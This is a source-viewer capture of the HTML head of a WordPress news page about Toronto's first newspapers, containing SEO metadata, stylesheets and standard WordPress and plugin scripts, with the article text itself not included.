PageSourceSearch

https://toronto1.one/en/eternal/what-were-torontos-first-newspapers-about-3775

html toronto1.one collected 2026-10-01 14:38:59 UTC 365,729 bytes, 1,445 lines download raw bytes

1<!doctype html >
2<!--[if IE 8]>    <html class="ie8" lang="en"> <![endif]-->
3<!--[if IE 9]>    <html class="ie9" lang="en"> <![endif]-->
4<!--[if gt IE 8]><!--> <html lang="en-US" prefix="og: https://ogp.me/ns#"> <!--<![endif]-->
5<head>
6    <title>What Were Toronto’s First Newspapers About? - toronto1.one</title>
7    <meta charset="UTF-8" />
8    <meta name="viewport" content="width=device-width, initial-scale=1.0">
9    <link rel="pingback" href="https://toronto1.one/xmlrpc.php" />
10    	<style>img:is([sizes="auto" i], [sizes^="auto," i]) { contain-intrinsic-size: 3000px 1500px }</style>
11	<link rel="alternate" hreflang="en" href="https://toronto1.one/en/eternal/what-were-torontos-first-newspapers-about-3775" />
12<link rel="alternate" hreflang="uk" href="https://toronto1.one/uk/eternal/pro-shho-buli-pershi-gazeti-toronto-3196" />
13<link rel="alternate" hreflang="ru" href="https://toronto1.one/ru/eternal/o-chem-byli-pervye-gazety-toronto-3220" />
14<link rel="alternate" hreflang="x-default" href="https://toronto1.one/uk/eternal/pro-shho-buli-pershi-gazeti-toronto-3196" />
15<link rel="icon" type="image/png" href="/wp-content/uploads/2020/05/favicon-one.png">
16<!-- Search Engine Optimization by Rank Math - https://rankmath.com/ -->
17<meta name="description" content="The future of Toronto’s newspapers might not seem particularly bright. However, there was a time when printed news spread as quickly as blogs do today. While"/>
18<meta name="robots" content="follow, index, max-snippet:-1, max-video-preview:-1, max-image-preview:large"/>
19<link rel="canonical" href="https://toronto1.one/en/eternal/what-were-torontos-first-newspapers-about-3775" />
20<meta property="og:locale" content="en_US" />
21<meta property="og:type" content="article" />
22<meta property="og:title" content="What Were Toronto’s First Newsp
22apers About? - toronto1.one" />
23<meta property="og:description" content="The future of Toronto’s newspapers might not seem particularly bright. However, there was a time when printed news spread as quickly as blogs do today. While" />
24<meta property="og:url" content="https://toronto1.one/en/eternal/what-were-torontos-first-newspapers-about-3775" />
25<meta property="og:site_name" content="toronto1.one" />
26<meta property="article:tag" content="history" />
27<meta property="article:tag" content="history of the newspaper" />
28<meta property="article:tag" content="journalists" />
29<meta property="article:tag" content="newspapers" />
30<meta property="article:tag" content="printing houses" />
31<meta property="article:tag" content="The Upper Canada Gazette was the first such newspaper" />
32<meta property="article:tag" content="What were Toronto&#039;s first newspapers about?" />
33<meta property="article:section" content="Business" />
34<meta property="og:updated_time" content="2024-12-03T09:51:13-05:00" />
35<meta property="og:image" content="https://cdn.toronto1.one/wp-content/uploads/sites/35/2024/12/ad_4nxdi8zlzaszbo4myndz8mhizctxx08q4xua1vsgycmqa8kqrxph8ajyonjrfncpul1fcu5dsnwzyekjht6czxwtgjqokrrj2zpc8e6ctnjsqvljmlksnipdoyajdoctpsfuhtdd7wwkey93cb-0p5q04ptp8viyc69x1u.png" />
36<meta property="og:image:secure_url" content="https://cdn.toronto1.one/wp-content/uploads/sites/35/2024/12/ad_4nxdi8zlzaszbo4myndz8mhizctxx08q4xua1vsgycmqa8kqrxph8ajyonjrfncpul1fcu5dsnwzyekjht6czxwtgjqokrrj2zpc8e6ctnjsqvljmlksnipdoyajdoctpsfuhtdd7wwkey93cb-0p5q04ptp8viyc69x1u.png" />
37<meta property="og:image:width" content="590" />
38<meta property="og:image:height" content="335" />
39<meta property="og:image:alt" content="What Were Toronto’s First Newsp
39apers About?" />
40<meta property="og:image:type" content="image/png" />
41<meta property="article:published_time" content="2024-08-26T06:42:14-04:00" />
42<meta property="article:modified_time" content="2024-12-03T09:51:13-05:00" />
43<meta name="twitter:card" content="summary_large_image" />
44<meta name="twitter:title" content="What Were Toronto’s First Newspapers About? - toronto1.one" />
45<meta name="twitter:description" content="The future of Toronto’s newspapers might not seem particularly bright. However, there was a time when printed news spread as quickly as blogs do today. While" />
46<meta name="twitter:image" content="https://cdn.toronto1.one/wp-content/uploads/sites/35/2024/12/ad_4nxdi8zlzaszbo4myndz8mhizctxx08q4xua1vsgycmqa8kqrxph8ajyonjrfncpul1fcu5dsnwzyekjht6czxwtgjqokrrj2zpc8e6ctnjsqvljmlksnipdoyajdoctpsfuhtdd7wwkey93cb-0p5q04ptp8viyc69x1u.png" />
47<meta name="twitter:label1" content="Written by" />
48<meta name="twitter:data1" content="Amara Singh" />
49<meta name="twitter:label2" content="Time to read" />
50<meta name="twitter:data2" content="3 minutes" />
51<script type="application/ld+json" class="rank-math-schema">{"@context":"https://schema.org","@graph":[{"@type":["Person","Organization"],"@id":"https://toronto1.one/en#person/","name":"zeroif"},{"@type":"WebSite","@id":"https://toronto1.one/en#website/","url":"https://toronto1.one/en","name":"zeroif","publisher":{"@id":"https://toronto1.one/en#person/"},"inLanguage":"en-US"},{"@type":"ImageObject","@id":"https://cdn.toronto1.one/wp-content/uploads/sites/35/2024/12/ad_4nxdi8zlzaszbo4myndz8mhizctxx08q4xua1vsgycmqa8kqrxph8ajyonjrfncpul1fcu5dsnwzyekjht6czxwtgjqokrrj2zpc8e6ctnjsqvljmlksnipdoyajdoctpsfuhtdd7wwkey93cb-0p5q04ptp8viyc69x1u.png","url":"https://cdn.toronto1.one/wp-content/uploads/sites/35/2024/12/ad_4nxdi8zlzaszbo4myndz8mhizctxx08q4xua1vsgycmqa8kqrxph8ajyonjrfncpul1fcu5dsnwzyekjht6czxwtgjqokrrj2zpc8e6ctnjsqvljmlksnipdoyajdoctpsfuhtdd7wwkey93cb-0p5q04ptp8viyc69x1u.png","width":"200","height":"200","inLanguage":"en-US"},{"@type":"WebPage","@id":"https://toronto1.one/en/eternal/what-were-torontos-first-newspapers-about-3775#webpage","url":"https://toronto1.one/en/eternal/what-were-torontos-first-newspapers-about-3775","name":"What Were Toronto\u2019s First Newsp
51apers About? - toronto1.one","datePublished":"2024-08-26T06:42:14-04:00","dateModified":"2024-12-03T09:51:13-05:00","isPartOf":{"@id":"https://toronto1.one/en#website/"},"primaryImageOfPage":{"@id":"https://cdn.toronto1.one/wp-content/uploads/sites/35/2024/12/ad_4nxdi8zlzaszbo4myndz8mhizctxx08q4xua1vsgycmqa8kqrxph8ajyonjrfncpul1fcu5dsnwzyekjht6czxwtgjqokrrj2zpc8e6ctnjsqvljmlksnipdoyajdoctpsfuhtdd7wwkey93cb-0p5q04ptp8viyc69x1u.png"},"inLanguage":"en-US"},{"@type":"Person","@id":"https://toronto1.one/en/author/amara-singh","name":"Amara Singh","url":"https://toronto1.one/en/author/amara-singh","image":{"@type":"ImageObject","@id":"https://secure.gravatar.com/avatar/24d6c1b7df6cc094e7b8d79718afbef08625ea873b15d7c7180b3df455f7ab41?s=96&amp;d=mm&amp;r=g","url":"https://secure.gravatar.com/avatar/24d6c1b7df6cc094e7b8d79718afbef08625ea873b15d7c7180b3df455f7ab41?s=96&amp;d=mm&amp;r=g","caption":"Amara Singh","inLanguage":"en-US"}},{"@type":"BlogPosting","headline":"What Were Toronto\u2019s First Newspapers About? - toronto1.one","datePublished":"2024-08-26T06:42:14-04:00","dateModified":"2024-12-03T09:51:13-05:00","articleSection":"Business","author":{"@id":"https://toronto1.one/en/author/amara-singh","name":"Amara Singh"},"publisher":{"@id":"https://toronto1.one/en#person/"},"description":"The future of Toronto\u2019s newspapers might not seem particularly bright. However, there was a time when printed news spread as quickly as blogs do today. While","name":"What Were Toronto\u2019s First Newsp
51apers About? - toronto1.one","@id":"https://toronto1.one/en/eternal/what-were-torontos-first-newspapers-about-3775#richSnippet","isPartOf":{"@id":"https://toronto1.one/en/eternal/what-were-torontos-first-newspapers-about-3775#webpage"},"image":{"@id":"https://cdn.toronto1.one/wp-content/uploads/sites/35/2024/12/ad_4nxdi8zlzaszbo4myndz8mhizctxx08q4xua1vsgycmqa8kqrxph8ajyonjrfncpul1fcu5dsnwzyekjht6czxwtgjqokrrj2zpc8e6ctnjsqvljmlksnipdoyajdoctpsfuhtdd7wwkey93cb-0p5q04ptp8viyc69x1u.png"},"inLanguage":"en-US","mainEntityOfPage":{"@id":"https://toronto1.one/en/eternal/what-were-torontos-first-newspapers-about-3775#webpage"}}]}</script>
51
52<!-- /Rank Math WordPress SEO plugin -->
53
54<link rel='dns-prefetch' href='//fonts.googleapis.com' />
55<script type="text/javascript">
56/* <![CDATA[ */
57window._wpemojiSettings = {"baseUrl":"https:\/\/s.w.org\/images\/core\/emoji\/15.1.0\/72x72\/","ext":".png","svgUrl":"https:\/\/s.w.org\/images\/core\/emoji\/15.1.0\/svg\/","svgExt":".svg","source":{"concatemoji":"https:\/\/toronto1.one\/wp-includes\/js\/wp-emoji-release.min.js?ver=6.8.1"}};
58/*! This file is auto-generated */
59!function(i,n){var o,s,e;function c(e){try{var t={supportTests:e,timestamp:(new Date).valueOf()};sessionStorage.setItem(o,JSON.stringify(t))}catch(e){}}function p(e,t,n){e.clearRect(0,0,e.canvas.width,e.canvas.height),e.fillText(t,0,0);var t=new Uint32Array(e.getImageData(0,0,e.canvas.width,e.canvas.height).data),r=(e.clearRect(0,0,e.canvas.width,e.canvas.height),e.fillText(n,0,0),new Uint32Array(e.getImageData(0,0,e.canvas.width,e.canvas.height).data));return t.every(function(e,t){return e===r[t]})}function u(e,t,n){switch(t){case"flag":return n(e,"\ud83c\udff3\ufe0f\u200d\u26a7\ufe0f","\ud83c\udff3\ufe0f\u200b\u26a7\ufe0f")?!1:!n(e,"\ud83c\uddfa\ud83c\uddf3","\ud83c\uddfa\u200b\ud83c\uddf3")&&!n(e,"\ud83c\udff4\udb40\udc67\udb40\udc62\udb40\udc65\udb40\udc6e\udb40\udc67\udb40\udc7f","\ud83c\udff4\u200b\udb40\udc67\u200b\udb40\udc62\u200b\udb40\udc65\u200b\udb40\udc6e\u200b\udb40\udc67\u200b\udb40\udc7f");case"emoji":return!n(e,"\ud83d\udc26\u200d\ud83d\udd25","\ud83d\udc26\u200b\ud83d\udd25")}return!1}function f(e,t,n){var r="undefined"!=typeof WorkerGlobalScope&&self instanceof WorkerGlobalScope?new OffscreenCanvas(300,150):i.createElement("canvas"),a=r.getContext("2d",{willReadFrequently:!0}),o=(a.textBaseline="top",a.font="600 32px Arial",{});return e.forEach(function(e){o[e]=t(a,e,n)}),o}function t(e){var t=i.createElement("script");t.src=e,t.defer=!0,i.head.appendChild(t)}"undefined"!=typeof Promise&&(o="wpEmojiSettingsSupports",s=["flag","emoji"],n.supports={everything:!0,everythingExceptFlag:!0},e=new Promise(function(e){i.addEventListener("DOMContentLoaded",e,{once:!0})}),new Promise(function(t){var n=function(){try{var e=JSON.parse(sessionStorage.getItem(o));if("object"==typeof e&&"number"==typeof e.timestamp&&(new Date).valueOf()<e.timestamp+604800&&"object"==typeof e.supportTests)return e.supportTests}catch(e){}return null}();if(!n){if("undefined"!=typeof Worker&&"undefined"!=typeof OffscreenCanvas&&"undefined"!=typeof URL&&URL.createObjectURL&&"undefined"!=typeof Blob)try{var e="postMessage("+f.toString()+"("+[JSON.stringify(s),u.toString(),p.toString()].join(",")+"));",r=new Blob([e],{type:"text/javascript"}),a=new Worker(URL.createObjectURL(r),{name:"wpTestEmojiSupports"});return void(a.onmessage=function(e){c(n=e.data),a.terminate(),t(n)})}catch(e){}c(n=f(s,u,p))}t(n)}).then(function(e){for(var t in e)n.supports[t]=e[t],n.supports.everything=n.supports.everything&&n.supports[t],"flag"!==t&&(n.supports.everythingExceptFlag=n.supports.everythingExceptFlag&&n.supports[t]);n.supports.everythingExceptFlag=n.supports.everythingExceptFlag&&!n.supports.flag,n.DOMReady=!1,n.readyCallback=function(){n.DOMReady=!0}}).then(function(){return e}).then(function(){var e;n.supports.everything||(n.readyCallback(),(e=n.source||{}).concatemoji?t(e.concatemoji):e.wpemoji&&e.twemoji&&(t(e.twemoji),t(e.wpemoji)))}))}((window,document),window._wpemojiSettings);
60/* ]]> */
61</script>
61
62<style id='wp-emoji-styles-inline-css' type='text/css'>
63
64	img.wp-smiley, img.emoji {
65		display: inline !important;
66		border: none !important;
67		box-shadow: none !important;
68		height: 1em !important;
69		width: 1em !important;
70		margin: 0 0.07em !important;
71		vertical-align: -0.1em !important;
72		background: none !important;
73		padding: 0 !important;
74	}
75</style>
76<link rel='stylesheet' id='wp-block-library-css' href='https://toronto1.one/wp-includes/css/dist/block-library/style.min.css?ver=6.8.1' type='text/css' media='all' />
77<style id='classic-theme-styles-inline-css' type='text/css'>
78/*! This file is auto-generated */
79.wp-block-button__link{color:#fff;background-color:#32373c;border-radius:9999px;box-shadow:none;text-decoration:none;padding:calc(.667em + 2px) calc(1.333em + 2px);font-size:1.125em}.wp-block-file__button{background:#32373c;color:#fff;text-decoration:none}
80</style>
81<style id='global-styles-inline-css' type='text/css'>
82:root{--wp--preset--aspect-ratio--square: 1;--wp--preset--aspect-ratio--4-3: 4/3;--wp--preset--aspect-ratio--3-4: 3/4;--wp--preset--aspect-ratio--3-2: 3/2;--wp--preset--aspect-ratio--2-3: 2/3;--wp--preset--aspect-ratio--16-9: 16/9;--wp--preset--aspect-ratio--9-16: 9/16;--wp--preset--color--black: #000000;--wp--preset--color--cyan-bluish-gray: #abb8c3;--wp--preset--color--white: #ffffff;--wp--preset--color--pale-pink: #f78da7;--wp--preset--color--vivid-red: #cf2e2e;--wp--preset--color--luminous-vivid-orange: #ff6900;--wp--preset--color--luminous-vivid-amber: #fcb900;--wp--preset--color--light-green-cyan: #7bdcb5;--wp--preset--color--vivid-green-cyan: #00d084;--wp--preset--color--pale-cyan-blue: #8ed1fc;--wp--preset--color--vivid-cyan-blue: #0693e3;--wp--preset--color--vivid-purple: #9b51e0;--wp--preset--gradient--vivid-cyan-blue-to-vivid-purple: linear-gradient(135deg,rgba(6,147,227,1) 0%,rgb(155,81,224) 100%);--wp--preset--gradient--light-green-cyan-to-vivid-green-cyan: linear-gradient(135deg,rgb(122,220,180) 0%,rgb(0,208,130) 100%);--wp--preset--gradient--luminous-vivid-amber-to-luminous-vivid-orange: linear-gradient(135deg,rgba(252,185,0,1) 0%,rgba(255,105,0,1) 100%);--wp--preset--gradient--luminous-vivid-orange-to-vivid-red: linear-gradient(135deg,rgba(255,105,0,1) 0%,rgb(207,46,46) 100%);--wp--preset--gradient--very-light-gray-to-cyan-bluish-gray: linear-gradient(135deg,rgb(238,238,238) 0%,rgb(169,184,195) 100%);
82--wp--preset--gradient--cool-to-warm-spectrum: linear-gradient(135deg,rgb(74,234,220) 0%,rgb(151,120,209) 20%,rgb(207,42,186) 40%,rgb(238,44,130) 60%,rgb(251,105,98) 80%,rgb(254,248,76) 100%);--wp--preset--gradient--blush-light-purple: linear-gradient(135deg,rgb(255,206,236) 0%,rgb(152,150,240) 100%);--wp--preset--gradient--blush-bordeaux: linear-gradient(135deg,rgb(254,205,165) 0%,rgb(254,45,45) 50%,rgb(107,0,62) 100%);--wp--preset--gradient--luminous-dusk: linear-gradient(135deg,rgb(255,203,112) 0%,rgb(199,81,192) 50%,rgb(65,88,208) 100%);--wp--preset--gradient--pale-ocean: linear-gradient(135deg,rgb(255,245,203) 0%,rgb(182,227,212) 50%,rgb(51,167,181) 100%);--wp--preset--gradient--electric-grass: linear-gradient(135deg,rgb(202,248,128) 0%,rgb(113,206,126) 100%);--wp--preset--gradient--midnight: linear-gradient(135deg,rgb(2,3,129) 0%,rgb(40,116,252) 100%);--wp--preset--font-size--small: 11px;--wp--preset--font-size--medium: 20px;--wp--preset--font-size--large: 32px;--wp--preset--font-size--x-large: 42px;--wp--preset--font-size--regular: 15px;--wp--preset--font-size--larger: 50px;--wp--preset--spacing--20: 0.44rem;--wp--preset--spacing--30: 0.67rem;--wp--preset--spacing--40: 1rem;--wp--preset--spacing--50: 1.5rem;--wp--preset--spacing--60: 2.25rem;--wp--preset--spacing--70: 3.38rem;--wp--preset--spacing--80: 5.06rem;--wp--preset--shadow--natural: 6px 6px 9px rgba(0, 0, 0, 0.2);--wp--preset--shadow--deep: 12px 12px 50px rgba(0, 0, 0, 0.4);--wp--preset--shadow--sharp: 6px 6px 0px rgba(0, 0, 0, 0.2);--wp--preset--shadow--outlined: 6px 6px 0px -3px rgba(255, 255, 255, 1), 6px 6px rgba(0, 0, 0, 1);--wp--preset--shadow--crisp: 6px 6px 0px rgba(0, 0, 0, 1);}:where(.is-layout-flex){gap: 0.5em;}:where(.is-layout-grid){gap: 0.5em;}body .is-layout-flex{display: flex;}.is-layout-flex{flex-wrap: wrap;align-items: center;}.is-layout-flex > :is(*, div){margin: 0;}body .is-layout-grid{display: grid;}.is-layout-grid > :is(*, div){margin: 0;}:where(.wp-block-columns.is-layout-flex){gap: 2em;}:where(.wp-block-columns.is-layout-grid){gap: 2em;}:where(.wp-block-post-template.is-layout-flex){gap: 1.25em;}:where(.wp-block-post-template.is-layout-grid){gap: 1.25em;}.has-black-color{color: var(--wp--preset--color--black) !important;}.has-cyan-bluish-gray-color{color: var(--wp--preset--color--cyan-bluish-gray) !important;}.has-white-color{color: var(--wp--preset--color--white) !important;}.has-pale-pink-color{color: var(--wp--preset--color--pale-pink) !important;}.has-vivid-red-color{color: var(--wp--preset--color--vivid-red) !important;}.has-luminous-vivid-orange-color{color: var(--wp--preset--color--luminous-vivid-orange) !important;}.has-luminous-vivid-amber-color{color: var(--wp--preset--color--luminous-vivid-amber) !important;}.has-light-green-cyan-color{color: var(--wp--preset--color--light-green-cyan) !important;}.has-vivid-green-cyan-color{color: var(--wp--preset--color--vivid-green-cyan) !important;}.has-pale-cyan-blue-color{color: var(--wp--preset--color--pale-cyan-blue) !important;}.has-vivid-cyan-blue-color{color: var(--wp--preset--color--vivid-cyan-blue) !important;}.has-vivid-purple-color{color: var(--wp--preset--color--vivid-purple) !important;}.has-black-background-color{background-color: var(--wp--preset--color--black) !important;}.has-cyan-bluish-gray-background-color{background-color: var(--wp--preset--color--cyan-bluish-gray) !important;}.has-white-background-color{background-color: var(--wp--preset--color--white) !important;}.has-pale-pink-background-color{background-color: var(--wp--preset--color--pale-pink) !important;}.has-vivid-red-background-color{background-color: var(--wp--preset--color--vivid-red) !important;}.has-luminous-vivid-orange-background-color{background-color: var(--wp--preset--color--luminous-vivid-orange) !important;}.has-luminous-vivid-amber-background-color{background-color: var(--wp--preset--color--luminous-vivid-amber) !important;}.has-light-green-cyan-background-color{background-color: var(--wp--preset--color--light-green-cyan) !important;}.has-vivid-green-cyan-background-color{background-color: var(--wp--preset--color--vivid-green-cyan) !important;}.has-pale-cyan-blue-background-color{background-color: var(--wp--preset--color--pale-cyan-blue) !important;}.has-vivid-cyan-blue-background-color{background-color: var(--wp--preset--color--vivid-cyan-blue) !important;}.has-vivid-purple-background-color{background-color: var(--wp--preset--color--vivid-purple) !important;}.has-black-border-color{border-color: var(--wp--preset--color--black) !important;}.has-cyan-bluish-gray-border-color{border-color: var(--wp--preset--color--cyan-bluish-gray) !important;}.has-white-border-color{border-color: var(--wp--preset--color--white) !important;}.has-pale-pink-border-color{border-color: var(--wp--preset--color--pale-pink) !important;}.has-vivid-red-border-color{border-color: var(--wp--preset--color--vivid-red) !important;}.has-luminous-vivid-orange-border-color{border-color: var(--wp--preset--color--luminous-vivid-orange) !important;}.has-luminous-vivid-amber-border-color{border-color: var(--wp--preset--color--luminous-vivid-amber) !important;}.has-light-green-cyan-border-color{border-color: var(--wp--preset--color--light-green-cyan) !important;}.has-vivid-green-cyan-border-color{border-color: var(--wp--preset--color--vivid-green-cyan) !important;}.has-pale-cyan-blue-border-color{border-color: var(--wp--preset--color--pale-cyan-blue) !important;}.has-vivid-cyan-blue-border-color{border-color: var(--wp--preset--color--vivid-cyan-blue) !important;}.has-vivid-purple-border-color{border-color: var(--wp--preset--color--vivid-purple) !important;}.has-vivid-cyan-blue-to-vivid-purple-gradient-background{background: var(--wp--preset--gradient--vivid-cyan-blue-to-vivid-purple) !important;}.has-light-green-cyan-to-vivid-green-cyan-gradient-background{background: var(--wp--preset--gradient--light-green-cyan-to-vivid-green-cyan) !important;}.has-luminous-vivid-amber-to-luminous-vivid-orange-gradient-background{background: var(--wp--preset--gradient--luminous-vivid-amber-to-luminous-vivid-orange) !important;}.has-luminous-vivid-orange-to-vivid-red-gradient-background{background: var(--wp--preset--gradient--luminous-vivid-orange-to-vivid-red) !important;}
82.has-very-light-gray-to-cyan-bluish-gray-gradient-background{background: var(--wp--preset--gradient--very-light-gray-to-cyan-bluish-gray) !important;}.has-cool-to-warm-spectrum-gradient-background{background: var(--wp--preset--gradient--cool-to-warm-spectrum) !important;}.has-blush-light-purple-gradient-background{background: var(--wp--preset--gradient--blush-light-purple) !important;}.has-blush-bordeaux-gradient-background{background: var(--wp--preset--gradient--blush-bordeaux) !important;}.has-luminous-dusk-gradient-background{background: var(--wp--preset--gradient--luminous-dusk) !important;}.has-pale-ocean-gradient-background{background: var(--wp--preset--gradient--pale-ocean) !important;}.has-electric-grass-gradient-background{background: var(--wp--preset--gradient--electric-grass) !important;}.has-midnight-gradient-background{background: var(--wp--preset--gradient--midnight) !important;}.has-small-font-size{font-size: var(--wp--preset--font-size--small) !important;}.has-medium-font-size{font-size: var(--wp--preset--font-size--medium) !important;}.has-large-font-size{font-size: var(--wp--preset--font-size--large) !important;}.has-x-large-font-size{font-size: var(--wp--preset--font-size--x-large) !important;}
83:where(.wp-block-post-template.is-layout-flex){gap: 1.25em;}:where(.wp-block-post-template.is-layout-grid){gap: 1.25em;}
84:where(.wp-block-columns.is-layout-flex){gap: 2em;}:where(.wp-block-columns.is-layout-grid){gap: 2em;}
85:root :where(.wp-block-pullquote){font-size: 1.5em;line-height: 1.6;}
86</style>
87<link rel='stylesheet' id='wpml-menu-item-0-css' href='https://toronto1.one/wp-content/plugins/sitepress-multilingual-cms/templates/language-switchers/menu-item/style.min.css?ver=1' type='text/css' media='all' />
88<link rel='stylesheet' id='ez-toc-css' href='https://toronto1.one/wp-content/plugins/easy-table-of-contents/assets/css/screen.min.css?ver=2.0.74' type='text/css' media='all' />
89<style id='ez-toc-inline-css' type='text/css'>
90div#ez-toc-container .ez-toc-title {font-size: 120%;}div#ez-toc-container .ez-toc-title {font-weight: 500;}div#ez-toc-container ul li , div#ez-toc-container ul li a {font-size: 95%;}div#ez-toc-container ul li , div#ez-toc-container ul li a {font-weight: 500;}div#ez-toc-container nav ul ul li {font-size: 90%;}div#ez-toc-container {background: #f9f9f9;border: 1px solid #ffffff;width: 100%;}div#ez-toc-container p.ez-toc-title , #ez-toc-container .ez_toc_custom_title_icon , #ez-toc-container .ez_toc_custom_toc_icon {color: #999;}div#ez-toc-container ul.ez-toc-list a {color: ;}div#ez-toc-container ul.ez-toc-list a:hover {color: ;}div#ez-toc-container ul.ez-toc-list a:visited {color: ;}
91.ez-toc-container-direction {direction: ltr;}.ez-toc-counter ul{counter-reset: item ;}.ez-toc-counter nav ul li a::before {content: counters(item, '.', decimal) '. ';display: inline-block;counter-increment: item;flex-grow: 0;flex-shrink: 0;margin-right: .2em; float: left; }.ez-toc-widget-direction {direction: ltr;}.ez-toc-widget-container ul{counter-reset: item ;}.ez-toc-widget-container nav ul li a::before {content: counters(item, '.', decimal) '. ';display: inline-block;counter-increment: item;flex-grow: 0;flex-shrink: 0;margin-right: .2em; float: left; }
92</style>
93<link rel='stylesheet' id='td-plugin-newsletter-css' href='https://toronto1.one/wp-content/plugins/td-newsletter/style.css?ver=12.6.6' type='text/css' media='all' />
94<link rel='stylesheet' id='td-plugin-multi-purpose-css' href='https://toronto1.one/wp-content/plugins/td-composer/td-multi-purpose/style.css?ver=72f925014dc5642945728092f057897e' type='text/css' media='all' />
95<link rel='stylesheet' id='cookie-notice-front-css' href='https://toronto1.one/wp-content/plugins/cookie-notice/css/front.min.css?ver=2.4.11' type='text/css' media='all' />
96<link rel='stylesheet' id='td-multipurpose-css' href='https://toronto1.one/wp-content/plugins/td-composer/assets/fonts/td-multipurpose/td-multipurpose.css?ver=72f925014dc5642945728092f057897e' type='text/css' media='all' />
97<link rel='stylesheet' id='td-theme-css' href='https://toronto1.one/wp-content/themes/Newspaper/style.css?ver=12.6.6' type='text/css' media='all' />
98<style id='td-theme-inline-css' type='text/css'>@media (max-width:767px){.td-header-desktop-wrap{display:none}}@media (min-width:767px){.td-header-mobile-wrap{display:none}}</style>
99<link rel='stylesheet' id='td-legacy-framework-front-style-css' href='https://toronto1.one/wp-content/plugins/td-composer/legacy/Newspaper/assets/css/td_legacy_main.css?ver=72f925014dc5642945728092f057897e' type='text/css' media='all' />
100<link rel='stylesheet' id='td-standard-pack-framework-front-style-css' href='https://toronto1.one/wp-content/plugins/td-standard-pack/Newspaper/assets/css/td_standard_pack_main.css?ver=8f2d47acef43f76b1dfa75a39c0fe3df' type='text/css' media='all' />
101<link rel='stylesheet' id='td-theme-demo-style-css' href='https://toronto1.one/wp-content/plugins/td-composer/legacy/Newspaper/includes/demos/gadgets_pro/demo_style.css?ver=12.6.6' type='text/css' media='all' />
102<link rel='stylesheet' id='tdb_style_cloud_templates_front-css' href='https://toronto1.one/wp-content/plugins/td-cloud-library/assets/css/tdb_main.css?ver=b379c96c54343541fd8742379a419361' type='text/css' media='all' />
103<style id='padrino-mo-social-icon-inline-css' type='text/css'>
104.td-icon-mistoonline:before,.td-icon-font.td-icon-mistoonline:before,.tdb-social-item i.td-icon-mistoonline:before,.td-social-icon-wrap i.td-icon-mistoonline:before,.td-author-social i.td-icon-mistoonline:before,.tdm-social-item i.td-icon-mistoonline:before{content:"mo"!important;text-transform:lowercase!important;font-style:normal!important;font-size:inherit!important;line-height:inherit!important;font-weight:var(--padrino-mo-sync-weight,inherit)!important;font-family:var(--padrino-mo-sync-family,inherit)!important;letter-spacing:var(--padrino-mo-sync-spacing,inherit)!important;}.td-social-icon-wrap a[title*="MistoOnline"] .td-icon-mistoonline:before,.tdb-social-item a[title*="MistoOnline"] .td-icon-mistoonline:before{color:inherit!important;}
105</style>
106
107		
107<script type="text/javascript" id="spc-lazy-bg">
108			(function () {
109			const loadedClass = 'spc-bg-lazyloaded';
110			const bgSelectors = '[style*="background-image:"], [class*="elementor"][data-settings*="background_background"], .elementor-section > .elementor-background-overlay, [class*="wp-block-cover"][style*="background-image"], [class*="wp-block-group"][style*="background-image"]';
111
112			function observerCallback(entries, observer) {
113				entries.forEach(function (entry) {
114				if (!entry.isIntersecting) return;
115
116				if (entry.target.classList.contains(loadedClass)) return;
117
118				entry.target.classList.add(loadedClass);
119				observer.unobserve(entry.target);
120				});
121			}
122
123			const intersectionObserver = new IntersectionObserver(observerCallback, {
124				root: null,
125				rootMargin: "150px 0px 500px",
126				threshold: [0.1, 0.3, 0.5, 0.6, 0.8, 1],
127			});
128
129			function start() {
130				document.querySelectorAll(bgSelectors).forEach(function (el) {
131					intersectionObserver.observe(el);
132					}
133				)
134			}
135
136			document.addEventListener('DOMContentLoaded', start);
137			}());
138		</script>
138
139		
139<script type="text/javascript" src="https://toronto1.one/wp-includes/js/jquery/jquery.min.js?ver=3.7.1" id="jquery-core-js"></script>
vendor: 1 bytes, line 139
139
140<script type="text/javascript" src="https://toronto1.one/wp-includes/js/jquery/jquery-migrate.min.js?ver=3.4.1" id="jquery-migrate-js"></script>
vendor: 1 bytes, line 140
140
141<script async type="text/javascript" id="cookie-notice-front-js-before">
142/* <![CDATA[ */
143var cnArgs = {"ajaxUrl":"https:\/\/toronto1.one\/wp-admin\/admin-ajax.php","nonce":"7cc96ecc17","hideEffect":"fade","position":"bottom","onScroll":false,"onScrollOffset":100,"onClick":false,"cookieName":"cookie_notice_accepted","cookieTime":31536000,"cookieTimeRejected":31536000,"globalCookie":false,"redirection":false,"cache":true,"revokeCookies":false,"revokeCookiesOpt":"automatic"};
144/* ]]> */
145</script>
vendor: 1 bytes, line 145
145
146<script async type="text/javascript" src="https://toronto1.one/wp-content/plugins/cookie-notice/js/front.min.js?ver=2.4.11" id="cookie-notice-front-js"></script>
146
147<link rel="https://api.w.org/" href="https://toronto1.one/en/wp-json/" /><link rel="alternate" title="JSON" type="application/json" href="https://toronto1.one/en/wp-json/wp/v2/posts/3775" /><link rel="EditURI" type="application/rsd+xml" title="RSD" href="https://toronto1.one/xmlrpc.php?rsd" />
148<meta name="generator" content="WordPress 6.8.1" />
149<link rel='shortlink' href='https://toronto1.one/en?p=3775' />
150<link rel="alternate" title="oEmbed (JSON)" type="application/json+oembed" href="https://toronto1.one/en/wp-json/oembed/1.0/embed?url=https%3A%2F%2Ftoronto1.one%2Fen%2Feternal%2Fwhat-were-torontos-first-newspapers-about-3775" />
151<link rel="alternate" title="oEmbed (XML)" type="text/xml+oembed" href="https://toronto1.one/en/wp-json/oembed/1.0/embed?url=https%3A%2F%2Ftoronto1.one%2Fen%2Feternal%2Fwhat-were-torontos-first-newspapers-about-3775&#038;format=xml" />
152<meta name="generator" content="WPML ver:4.7.6 stt:1,45,54;" />
153    
153<script>
154        window.tdb_global_vars = {"wpRestUrl":"https:\/\/toronto1.one\/en\/wp-json\/","permalinkStructure":"\/%postname%"};
155        window.tdb_p_autoload_vars = {"isAjax":false,"isAdminBarShowing":false,"autoloadScrollPercent":50,"postAutoloadStatus":"on","origPostEditUrl":null};
156    </script>
156
157    
158    <style id="tdb-global-colors">:root{--accent-color:#fff}</style>
159
160    
161	<style type="text/css">.recentcomments a{display:inline !important;padding:0 !important;margin:0 !important;}</style><link rel="preload" href="https://toronto1.one/wp-content/wp-cloudflare-super-page-cache/toronto1.one/fonts/04e027663d24ee877ff34a5598d18755.css" as="style" onload="this.onload=null;this.rel='stylesheet'" crossorigin>
162<noscript><link rel="stylesheet" href="https://toronto1.one/wp-content/wp-cloudflare-super-page-cache/toronto1.one/fonts/04e027663d24ee877ff34a5598d18755.css" crossorigin></noscript>
163
